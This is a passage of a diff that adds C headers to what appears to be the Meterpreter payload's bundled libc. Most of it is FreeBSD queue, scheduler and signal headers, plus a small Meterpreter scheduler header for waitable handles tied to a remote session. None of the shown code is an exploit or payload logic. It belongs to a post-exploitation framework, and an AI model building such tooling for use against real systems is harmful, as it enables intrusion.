#define STAILQ_INSERT_TAIL(head, elm, field) do { \
|
||||
STAILQ_NEXT((elm), field) = NULL; \
|
||||
*(head)->stqh_last = (elm); \
|
||||
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_LAST(head, type, field) \
|
||||
(STAILQ_EMPTY((head)) ? \
|
||||
NULL : \
|
||||
((struct type *)(void *) \
|
||||
((char *)((head)->stqh_last) - __offsetof(struct type, field))))
|
||||
|
||||
#define STAILQ_NEXT(elm, field) ((elm)->field.stqe_next)
|
||||
|
||||
#define STAILQ_REMOVE(head, elm, type, field) do { \
|
||||
if (STAILQ_FIRST((head)) == (elm)) { \
|
||||
STAILQ_REMOVE_HEAD((head), field); \
|
||||
} \
|
||||
else { \
|
||||
struct type *curelm = STAILQ_FIRST((head)); \
|
||||
while (STAILQ_NEXT(curelm, field) != (elm)) \
|
||||
curelm = STAILQ_NEXT(curelm, field); \
|
||||
STAILQ_REMOVE_NEXT(head, curelm, field); \
|
||||
} \
|
||||
TRASHIT((elm)->field.stqe_next); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_REMOVE_HEAD(head, field) do { \
|
||||
if ((STAILQ_FIRST((head)) = \
|
||||
STAILQ_NEXT(STAILQ_FIRST((head)), field)) == NULL) \
|
||||
(head)->stqh_last = &STAILQ_FIRST((head)); \
|
||||
} while (0)
|
||||
|
||||
#define STAILQ_REMOVE_NEXT(head, elm, field) do { \
|
||||
if ((STAILQ_NEXT(elm, field) = \
|
||||
STAILQ_NEXT(STAILQ_NEXT(elm, field), field)) == NULL) \
|
||||
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
|
||||
} while (0)
|
||||
|
||||
/*
|
||||
* List declarations.
|
||||
*/
|
||||
#define LIST_HEAD(name, type) \
|
||||
struct name { \
|
||||
struct type *lh_first; /* first element */ \
|
||||
}
|
||||
|
||||
#define LIST_HEAD_INITIALIZER(head) \
|
||||
{ NULL }
|
||||
|
||||
#define LIST_ENTRY(type) \
|
||||
struct { \
|
||||
struct type *le_next; /* next element */ \
|
||||
struct type **le_prev; /* address of previous next element */ \
|
||||
}
|
||||
|
||||
/*
|
||||
* List functions.
|
||||
*/
|
||||
|
||||
#if (defined(_KERNEL) && defined(INVARIANTS))
|
||||
#define QMD_LIST_CHECK_HEAD(head, field) do { \
|
||||
if (LIST_FIRST((head)) != NULL && \
|
||||
LIST_FIRST((head))->field.le_prev != \
|
||||
&LIST_FIRST((head))) \
|
||||
panic("Bad list head %p first->prev != head", (head)); \
|
||||
} while (0)
|
||||
|
||||
#define QMD_LIST_CHECK_NEXT(elm, field) do { \
|
||||
if (LIST_NEXT((elm), field) != NULL && \
|
||||
LIST_NEXT((elm), field)->field.le_prev != \
|
||||
&((elm)->field.le_next)) \
|
||||
panic("Bad link elm %p next->prev != elm", (elm)); \
|
||||
} while (0)
|
||||
|
||||
#define QMD_LIST_CHECK_PREV(elm, field) do { \
|
||||
if (*(elm)->field.le_prev != (elm)) \
|
||||
panic("Bad link elm %p prev->next != elm", (elm)); \
|
||||
} while (0)
|
||||
#else
|
||||
#define QMD_LIST_CHECK_HEAD(head, field)
|
||||
#define QMD_LIST_CHECK_NEXT(elm, field)
|
||||
#define QMD_LIST_CHECK_PREV(elm, field)
|
||||
#endif /* (_KERNEL && INVARIANTS) */
|
||||
|
||||
#define LIST_EMPTY(head) ((head)->lh_first == NULL)
|
||||
|
||||
#define LIST_FIRST(head) ((head)->lh_first)
|
||||
|
||||
#define LIST_FOREACH(var, head, field) \
|
||||
for ((var) = LIST_FIRST((head)); \
|
||||
(var); \
|
||||
(var) = LIST_NEXT((var), field))
|
||||
|
||||
#define LIST_FOREACH_SAFE(var, head, field, tvar) \
|
||||
for ((var) = LIST_FIRST((head)); \
|
||||
(var) && ((tvar) = LIST_NEXT((var), field), 1); \
|
||||
(var) = (tvar))
|
||||
|
||||
#define LIST_INIT(head) do { \
|
||||
LIST_FIRST((head)) = NULL; \
|
||||
} while (0)
|
||||
|
||||
#define LIST_INSERT_AFTER(listelm, elm, field) do { \
|
||||
QMD_LIST_CHECK_NEXT(listelm, field); \
|
||||
if ((LIST_NEXT((elm), field) = LIST_NEXT((listelm), field)) != NULL)\
|
||||
LIST_NEXT((listelm), field)->field.le_prev = \
|
||||
&LIST_NEXT((elm), field); \
|
||||
LIST_NEXT((listelm), field) = (elm); \
|
||||
(elm)->field.le_prev = &LIST_NEXT((listelm), field); \
|
||||
} while (0)
|
||||
|
||||
#define LIST_INSERT_BEFORE(listelm, elm, field) do { \
|
||||
QMD_LIST_CHECK_PREV(listelm, field); \
|
||||
(elm)->field.le_prev = (listelm)->field.le_prev; \
|
||||
LIST_NEXT((elm), field) = (listelm); \
|
||||
*(listelm)->field.le_prev = (elm); \
|
||||
(listelm)->field.le_prev = &LIST_NEXT((elm), field); \
|
||||
} while (0)
|
||||
|
||||
#define LIST_INSERT_HEAD(head, elm, field) do { \
|
||||
QMD_LIST_CHECK_HEAD((head), field); \
|
||||
if ((LIST_NEXT((elm), field) = LIST_FIRST((head))) != NULL) \
|
||||
LIST_FIRST((head))->field.le_prev = &LIST_NEXT((elm), field);\
|
||||
LIST_FIRST((head)) = (elm); \
|
||||
(elm)->field.le_prev = &LIST_FIRST((head)); \
|
||||
} while (0)
|
||||
|
||||
#define LIST_NEXT(elm, field) ((elm)->field.le_next)
|
||||
|
||||
#define LIST_REMOVE(elm, field) do { \
|
||||
QMD_LIST_CHECK_NEXT(elm, field); \
|
||||
QMD_LIST_CHECK_PREV(elm, field); \
|
||||
if (LIST_NEXT((elm), field) != NULL) \
|
||||
LIST_NEXT((elm), field)->field.le_prev = \
|
||||
(elm)->field.le_prev; \
|
||||
*(elm)->field.le_prev = LIST_NEXT((elm), field); \
|
||||
TRASHIT((elm)->field.le_next); \
|
||||
TRASHIT((elm)->field.le_prev); \
|
||||
} while (0)
|
||||
|
||||
/*
|
||||
* Tail queue declarations.
|
||||
*/
|
||||
#define TAILQ_HEAD(name, type) \
|
||||
struct name { \
|
||||
struct type *tqh_first; /* first element */ \
|
||||
struct type **tqh_last; /* addr of last next element */ \
|
||||
TRACEBUF \
|
||||
}
|
||||
|
||||
#define TAILQ_HEAD_INITIALIZER(head) \
|
||||
{ NULL, &(head).tqh_first }
|
||||
|
||||
#define TAILQ_ENTRY(type) \
|
||||
struct { \
|
||||
struct type *tqe_next; /* next element */ \
|
||||
struct type **tqe_prev; /* address of previous next element */ \
|
||||
TRACEBUF \
|
||||
}
|
||||
|
||||
/*
|
||||
* Tail queue functions.
|
||||
*/
|
||||
#if (defined(_KERNEL) && defined(INVARIANTS))
|
||||
#define QMD_TAILQ_CHECK_HEAD(head, field) do { \
|
||||
if (!TAILQ_EMPTY(head) && \
|
||||
TAILQ_FIRST((head))->field.tqe_prev != \
|
||||
&TAILQ_FIRST((head))) \
|
||||
panic("Bad tailq head %p first->prev != head", (head)); \
|
||||
} while (0)
|
||||
|
||||
#define QMD_TAILQ_CHECK_TAIL(head, field) do { \
|
||||
if (*(head)->tqh_last != NULL) \
|
||||
panic("Bad tailq NEXT(%p->tqh_last) != NULL", (head)); \
|
||||
} while (0)
|
||||
|
||||
#define QMD_TAILQ_CHECK_NEXT(elm, field) do { \
|
||||
if (TAILQ_NEXT((elm), field) != NULL && \
|
||||
TAILQ_NEXT((elm), field)->field.tqe_prev != \
|
||||
&((elm)->field.tqe_next)) \
|
||||
panic("Bad link elm %p next->prev != elm", (elm)); \
|
||||
} while (0)
|
||||
|
||||
#define QMD_TAILQ_CHECK_PREV(elm, field) do { \
|
||||
if (*(elm)->field.tqe_prev != (elm)) \
|
||||
panic("Bad link elm %p prev->next != elm", (elm)); \
|
||||
} while (0)
|
||||
#else
|
||||
#define QMD_TAILQ_CHECK_HEAD(head, field)
|
||||
#define QMD_TAILQ_CHECK_TAIL(head, headname)
|
||||
#define QMD_TAILQ_CHECK_NEXT(elm, field)
|
||||
#define QMD_TAILQ_CHECK_PREV(elm, field)
|
||||
#endif /* (_KERNEL && INVARIANTS) */
|
||||
|
||||
#define TAILQ_CONCAT(head1, head2, field) do { \
|
||||
if (!TAILQ_EMPTY(head2)) { \
|
||||
*(head1)->tqh_last = (head2)->tqh_first; \
|
||||
(head2)->tqh_first->field.tqe_prev = (head1)->tqh_last; \
|
||||
(head1)->tqh_last = (head2)->tqh_last; \
|
||||
TAILQ_INIT((head2)); \
|
||||
QMD_TRACE_HEAD(head1); \
|
||||
QMD_TRACE_HEAD(head2); \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_EMPTY(head) ((head)->tqh_first == NULL)
|
||||
|
||||
#define TAILQ_FIRST(head) ((head)->tqh_first)
|
||||
|
||||
#define TAILQ_FOREACH(var, head, field) \
|
||||
for ((var) = TAILQ_FIRST((head)); \
|
||||
(var); \
|
||||
(var) = TAILQ_NEXT((var), field))
|
||||
|
||||
#define TAILQ_FOREACH_SAFE(var, head, field, tvar) \
|
||||
for ((var) = TAILQ_FIRST((head)); \
|
||||
(var) && ((tvar) = TAILQ_NEXT((var), field), 1); \
|
||||
(var) = (tvar))
|
||||
|
||||
#define TAILQ_FOREACH_REVERSE(var, head, headname, field) \
|
||||
for ((var) = TAILQ_LAST((head), headname); \
|
||||
(var); \
|
||||
(var) = TAILQ_PREV((var), headname, field))
|
||||
|
||||
#define TAILQ_FOREACH_REVERSE_SAFE(var, head, headname, field, tvar) \
|
||||
for ((var) = TAILQ_LAST((head), headname); \
|
||||
(var) && ((tvar) = TAILQ_PREV((var), headname, field), 1); \
|
||||
(var) = (tvar))
|
||||
|
||||
#define TAILQ_INIT(head) do { \
|
||||
TAILQ_FIRST((head)) = NULL; \
|
||||
(head)->tqh_last = &TAILQ_FIRST((head)); \
|
||||
QMD_TRACE_HEAD(head); \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \
|
||||
QMD_TAILQ_CHECK_NEXT(listelm, field); \
|
||||
if ((TAILQ_NEXT((elm), field) = TAILQ_NEXT((listelm), field)) != NULL)\
|
||||
TAILQ_NEXT((elm), field)->field.tqe_prev = \
|
||||
&TAILQ_NEXT((elm), field); \
|
||||
else { \
|
||||
(head)->tqh_last = &TAILQ_NEXT((elm), field); \
|
||||
QMD_TRACE_HEAD(head); \
|
||||
} \
|
||||
TAILQ_NEXT((listelm), field) = (elm); \
|
||||
(elm)->field.tqe_prev = &TAILQ_NEXT((listelm), field); \
|
||||
QMD_TRACE_ELEM(&(elm)->field); \
|
||||
QMD_TRACE_ELEM(&listelm->field); \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \
|
||||
QMD_TAILQ_CHECK_PREV(listelm, field); \
|
||||
(elm)->field.tqe_prev = (listelm)->field.tqe_prev; \
|
||||
TAILQ_NEXT((elm), field) = (listelm); \
|
||||
*(listelm)->field.tqe_prev = (elm); \
|
||||
(listelm)->field.tqe_prev = &TAILQ_NEXT((elm), field); \
|
||||
QMD_TRACE_ELEM(&(elm)->field); \
|
||||
QMD_TRACE_ELEM(&listelm->field); \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_INSERT_HEAD(head, elm, field) do { \
|
||||
QMD_TAILQ_CHECK_HEAD(head, field); \
|
||||
if ((TAILQ_NEXT((elm), field) = TAILQ_FIRST((head))) != NULL) \
|
||||
TAILQ_FIRST((head))->field.tqe_prev = \
|
||||
&TAILQ_NEXT((elm), field); \
|
||||
else \
|
||||
(head)->tqh_last = &TAILQ_NEXT((elm), field); \
|
||||
TAILQ_FIRST((head)) = (elm); \
|
||||
(elm)->field.tqe_prev = &TAILQ_FIRST((head)); \
|
||||
QMD_TRACE_HEAD(head); \
|
||||
QMD_TRACE_ELEM(&(elm)->field); \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_INSERT_TAIL(head, elm, field) do { \
|
||||
QMD_TAILQ_CHECK_TAIL(head, field); \
|
||||
TAILQ_NEXT((elm), field) = NULL; \
|
||||
(elm)->field.tqe_prev = (head)->tqh_last; \
|
||||
*(head)->tqh_last = (elm); \
|
||||
(head)->tqh_last = &TAILQ_NEXT((elm), field); \
|
||||
QMD_TRACE_HEAD(head); \
|
||||
QMD_TRACE_ELEM(&(elm)->field); \
|
||||
} while (0)
|
||||
|
||||
#define TAILQ_LAST(head, headname) \
|
||||
(*(((struct headname *)((head)->tqh_last))->tqh_last))
|
||||
|
||||
#define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next)
|
||||
|
||||
#define TAILQ_PREV(elm, headname, field) \
|
||||
(*(((struct headname *)((elm)->field.tqe_prev))->tqh_last))
|
||||
|
||||
#define TAILQ_REMOVE(head, elm, field) do { \
|
||||
QMD_TAILQ_CHECK_NEXT(elm, field); \
|
||||
QMD_TAILQ_CHECK_PREV(elm, field); \
|
||||
if ((TAILQ_NEXT((elm), field)) != NULL) \
|
||||
TAILQ_NEXT((elm), field)->field.tqe_prev = \
|
||||
(elm)->field.tqe_prev; \
|
||||
else { \
|
||||
(head)->tqh_last = (elm)->field.tqe_prev; \
|
||||
QMD_TRACE_HEAD(head); \
|
||||
} \
|
||||
*(elm)->field.tqe_prev = TAILQ_NEXT((elm), field); \
|
||||
TRASHIT((elm)->field.tqe_next); \
|
||||
TRASHIT((elm)->field.tqe_prev); \
|
||||
QMD_TRACE_ELEM(&(elm)->field); \
|
||||
} while (0)
|
||||
|
||||
|
||||
#ifdef _KERNEL
|
||||
|
||||
/*
|
||||
* XXX insque() and remque() are an old way of handling certain queues.
|
||||
* They bogusly assumes that all queue heads look alike.
|
||||
*/
|
||||
|
||||
struct quehead {
|
||||
struct quehead *qh_link;
|
||||
struct quehead *qh_rlink;
|
||||
};
|
||||
|
||||
#ifdef __CC_SUPPORTS___INLINE
|
||||
|
||||
static __inline void
|
||||
insque(void *a, void *b)
|
||||
{
|
||||
struct quehead *element = (struct quehead *)a,
|
||||
*head = (struct quehead *)b;
|
||||
|
||||
element->qh_link = head->qh_link;
|
||||
element->qh_rlink = head;
|
||||
head->qh_link = element;
|
||||
element->qh_link->qh_rlink = element;
|
||||
}
|
||||
|
||||
static __inline void
|
||||
remque(void *a)
|
||||
{
|
||||
struct quehead *element = (struct quehead *)a;
|
||||
|
||||
element->qh_link->qh_rlink = element->qh_rlink;
|
||||
element->qh_rlink->qh_link = element->qh_link;
|
||||
element->qh_rlink = 0;
|
||||
}
|
||||
|
||||
#else /* !__CC_SUPPORTS___INLINE */
|
||||
|
||||
void insque(void *a, void *b);
|
||||
void remque(void *a);
|
||||
|
||||
#endif /* __CC_SUPPORTS___INLINE */
|
||||
|
||||
#endif /* _KERNEL */
|
||||
|
||||
#endif /* !_SYS_QUEUE_H_ */
|
237
c/meterpreter/source/ulibc/sched.h
Normal file
237
c/meterpreter/source/ulibc/sched.h
Normal file
@ -0,0 +1,237 @@
|
||||
/*-
|
||||
* Copyright (c) 1996, 1997
|
||||
* HD Associates, Inc. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by HD Associates, Inc
|
||||
* and Jukka Antero Ukkonen.
|
||||
* 4. Neither the name of the author nor the names of any co-contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY HD ASSOCIATES AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL HD ASSOCIATES OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2002-2008, Jeffrey Roberson <jeff@freebsd.org>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice unmodified, this list of conditions, and the following
|
||||
* disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/sys/sys/sched.h 194936 2009-06-25 01:33:51Z jeff $
|
||||
*/
|
||||
|
||||
#ifndef _SCHED_H_
|
||||
#define _SCHED_H_
|
||||
|
||||
#ifdef _KERNEL
|
||||
/*
|
||||
* General scheduling info.
|
||||
*
|
||||
* sched_load:
|
||||
* Total runnable non-ithread threads in the system.
|
||||
*
|
||||
* sched_runnable:
|
||||
* Runnable threads for this processor.
|
||||
*/
|
||||
int sched_load(void);
|
||||
int sched_rr_interval(void);
|
||||
int sched_runnable(void);
|
||||
|
||||
/*
|
||||
* Proc related scheduling hooks.
|
||||
*/
|
||||
void sched_exit(struct proc *p, struct thread *childtd);
|
||||
void sched_fork(struct thread *td, struct thread *childtd);
|
||||
void sched_fork_exit(struct thread *td);
|
||||
void sched_class(struct thread *td, int class);
|
||||
void sched_nice(struct proc *p, int nice);
|
||||
|
||||
/*
|
||||
* Threads are switched in and out, block on resources, have temporary
|
||||
* priorities inherited from their procs, and use up cpu time.
|
||||
*/
|
||||
void sched_exit_thread(struct thread *td, struct thread *child);
|
||||
void sched_fork_thread(struct thread *td, struct thread *child);
|
||||
void sched_lend_prio(struct thread *td, u_char prio);
|
||||
void sched_lend_user_prio(struct thread *td, u_char pri);
|
||||
fixpt_t sched_pctcpu(struct thread *td);
|
||||
void sched_prio(struct thread *td, u_char prio);
|
||||
void sched_sleep(struct thread *td, int prio);
|
||||
void sched_switch(struct thread *td, struct thread *newtd, int flags);
|
||||
void sched_throw(struct thread *td);
|
||||
void sched_unlend_prio(struct thread *td, u_char prio);
|
||||
void sched_unlend_user_prio(struct thread *td, u_char pri);
|
||||
void sched_user_prio(struct thread *td, u_char prio);
|
||||
void sched_userret(struct thread *td);
|
||||
void sched_wakeup(struct thread *td);
|
||||
void sched_preempt(struct thread *td);
|
||||
|
||||
/*
|
||||
* Threads are moved on and off of run queues
|
||||
*/
|
||||
void sched_add(struct thread *td, int flags);
|
||||
void sched_clock(struct thread *td);
|
||||
void sched_rem(struct thread *td);
|
||||
void sched_tick(void);
|
||||
void sched_relinquish(struct thread *td);
|
||||
struct thread *sched_choose(void);
|
||||
void sched_idletd(void *);
|
||||
|
||||
/*
|
||||
* Binding makes cpu affinity permanent while pinning is used to temporarily
|
||||
* hold a thread on a particular CPU.
|
||||
*/
|
||||
void sched_bind(struct thread *td, int cpu);
|
||||
static __inline void sched_pin(void);
|
||||
void sched_unbind(struct thread *td);
|
||||
static __inline void sched_unpin(void);
|
||||
int sched_is_bound(struct thread *td);
|
||||
void sched_affinity(struct thread *td);
|
||||
|
||||
/*
|
||||
* These procedures tell the process data structure allocation code how
|
||||
* many bytes to actually allocate.
|
||||
*/
|
||||
int sched_sizeof_proc(void);
|
||||
int sched_sizeof_thread(void);
|
||||
|
||||
/*
|
||||
* This routine provides a consistent thread name for use with KTR graphing
|
||||
* functions.
|
||||
*/
|
||||
char *sched_tdname(struct thread *td);
|
||||
|
||||
static __inline void
|
||||
sched_pin(void)
|
||||
{
|
||||
curthread->td_pinned++;
|
||||
}
|
||||
|
||||
static __inline void
|
||||
sched_unpin(void)
|
||||
{
|
||||
curthread->td_pinned--;
|
||||
}
|
||||
|
||||
/* sched_add arguments (formerly setrunqueue) */
|
||||
#define SRQ_BORING 0x0000 /* No special circumstances. */
|
||||
#define SRQ_YIELDING 0x0001 /* We are yielding (from mi_switch). */
|
||||
#define SRQ_OURSELF 0x0002 /* It is ourself (from mi_switch). */
|
||||
#define SRQ_INTR 0x0004 /* It is probably urgent. */
|
||||
#define SRQ_PREEMPTED 0x0008 /* has been preempted.. be kind */
|
||||
#define SRQ_BORROWING 0x0010 /* Priority updated due to prio_lend */
|
||||
|
||||
/* Scheduler stats. */
|
||||
#ifdef SCHED_STATS
|
||||
DPCPU_DECLARE(long, sched_switch_stats[SWT_COUNT]);
|
||||
|
||||
#define SCHED_STAT_DEFINE_VAR(name, ptr, descr) \
|
||||
static void name ## _add_proc(void *dummy __unused) \
|
||||
{ \
|
||||
\
|
||||
SYSCTL_ADD_PROC(NULL, \
|
||||
SYSCTL_STATIC_CHILDREN(_kern_sched_stats), OID_AUTO, \
|
||||
#name, CTLTYPE_LONG|CTLFLAG_RD|CTLFLAG_MPSAFE, \
|
||||
ptr, 0, sysctl_dpcpu_long, "LU", descr); \
|
||||
} \
|
||||
SYSINIT(name, SI_SUB_RUN_SCHEDULER, SI_ORDER_ANY, name ## _add_proc, NULL);
|
||||
|
||||
#define SCHED_STAT_DEFINE(name, descr) \
|
||||
DPCPU_DEFINE(unsigned long, name); \
|
||||
SCHED_STAT_DEFINE_VAR(name, &DPCPU_NAME(name), descr)
|
||||
/*
|
||||
* Sched stats are always incremented in critical sections so no atomic
|
||||
* is necesssary to increment them.
|
||||
*/
|
||||
#define SCHED_STAT_INC(var) DPCPU_GET(var)++;
|
||||
#else
|
||||
#define SCHED_STAT_DEFINE_VAR(name, descr, ptr)
|
||||
#define SCHED_STAT_DEFINE(name, descr)
|
||||
#define SCHED_STAT_INC(var) (void)0
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Fixup scheduler state for proc0 and thread0
|
||||
*/
|
||||
void schedinit(void);
|
||||
#endif /* _KERNEL */
|
||||
|
||||
/* POSIX 1003.1b Process Scheduling */
|
||||
|
||||
/*
|
||||
* POSIX scheduling policies
|
||||
*/
|
||||
#define SCHED_FIFO 1
|
||||
#define SCHED_OTHER 2
|
||||
#define SCHED_RR 3
|
||||
|
||||
struct sched_param {
|
||||
int sched_priority;
|
||||
};
|
||||
|
||||
/*
|
||||
* POSIX scheduling declarations for userland.
|
||||
*/
|
||||
#ifndef _KERNEL
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
|
||||
#ifndef _PID_T_DECLARED
|
||||
typedef __pid_t pid_t;
|
||||
#define _PID_T_DECLARED
|
||||
#endif
|
||||
|
||||
struct timespec;
|
||||
|
||||
__BEGIN_DECLS
|
||||
int sched_get_priority_max(int);
|
||||
int sched_get_priority_min(int);
|
||||
int sched_getparam(pid_t, struct sched_param *);
|
||||
int sched_getscheduler(pid_t);
|
||||
int sched_rr_get_interval(pid_t, struct timespec *);
|
||||
int sched_setparam(pid_t, const struct sched_param *);
|
||||
int sched_setscheduler(pid_t, int, const struct sched_param *);
|
||||
int sched_yield(void);
|
||||
__END_DECLS
|
||||
|
||||
#endif
|
||||
#endif /* !_SCHED_H_ */
|
14
c/meterpreter/source/ulibc/scheduler.h
Normal file
14
c/meterpreter/source/ulibc/scheduler.h
Normal file
@ -0,0 +1,14 @@
|
||||
#ifndef _METERPRETER_LIB_SCHEDULER_H
|
||||
#define _METERPRETER_LIB_SCHEDULER_H
|
||||
|
||||
#include "linkage.h"
|
||||
#include "remote.h"
|
||||
|
||||
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID context);
|
||||
|
||||
LINKAGE DWORD scheduler_insert_waitable(HANDLE waitable, LPVOID context,
|
||||
WaitableNotifyRoutine routine);
|
||||
LINKAGE DWORD scheduler_remove_waitable(HANDLE waitable);
|
||||
LINKAGE DWORD scheduler_run(Remote *remote, DWORD timeout);
|
||||
|
||||
#endif
|
123
c/meterpreter/source/ulibc/signal.h
Normal file
123
c/meterpreter/source/ulibc/signal.h
Normal file
@ -0,0 +1,123 @@
|
||||
/*-
|
||||
* Copyright (c) 1991, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)signal.h 8.3 (Berkeley) 3/30/94
|
||||
* $FreeBSD: head/include/signal.h 191202 2009-04-17 14:19:18Z das $
|
||||
*/
|
||||
|
||||
#ifndef _SIGNAL_H_
|
||||
#define _SIGNAL_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
#include <sys/signal.h>
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
/*
|
||||
* XXX should enlarge these, if only to give empty names instead of bounds
|
||||
* errors for large signal numbers.
|
||||
*/
|
||||
extern __const char *__const sys_signame[NSIG];
|
||||
extern __const char *__const sys_siglist[NSIG];
|
||||
extern __const int sys_nsig;
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE >= 200112 || __XSI_VISIBLE
|
||||
#ifndef _PID_T_DECLARED
|
||||
typedef __pid_t pid_t;
|
||||
#define _PID_T_DECLARED
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE || __XSI_VISIBLE
|
||||
struct pthread; /* XXX */
|
||||
typedef struct pthread *__pthread_t;
|
||||
#if !defined(_PTHREAD_T_DECLARED) && __POSIX_VISIBLE >= 200809
|
||||
typedef __pthread_t pthread_t;
|
||||
#define _PTHREAD_T_DECLARED
|
||||
#endif
|
||||
#endif /* __POSIX_VISIBLE || __XSI_VISIBLE */
|
||||
|
||||
__BEGIN_DECLS
|
||||
int raise(int);
|
||||
|
||||
#if __POSIX_VISIBLE || __XSI_VISIBLE
|
||||
int kill(__pid_t, int);
|
||||
int pthread_kill(__pthread_t, int);
|
||||
int pthread_sigmask(int, const __sigset_t *, __sigset_t *);
|
||||
int sigaction(int, const struct sigaction * __restrict,
|
||||
struct sigaction * __restrict);
|
||||
int sigaddset(sigset_t *, int);
|
||||
int sigdelset(sigset_t *, int);
|
||||
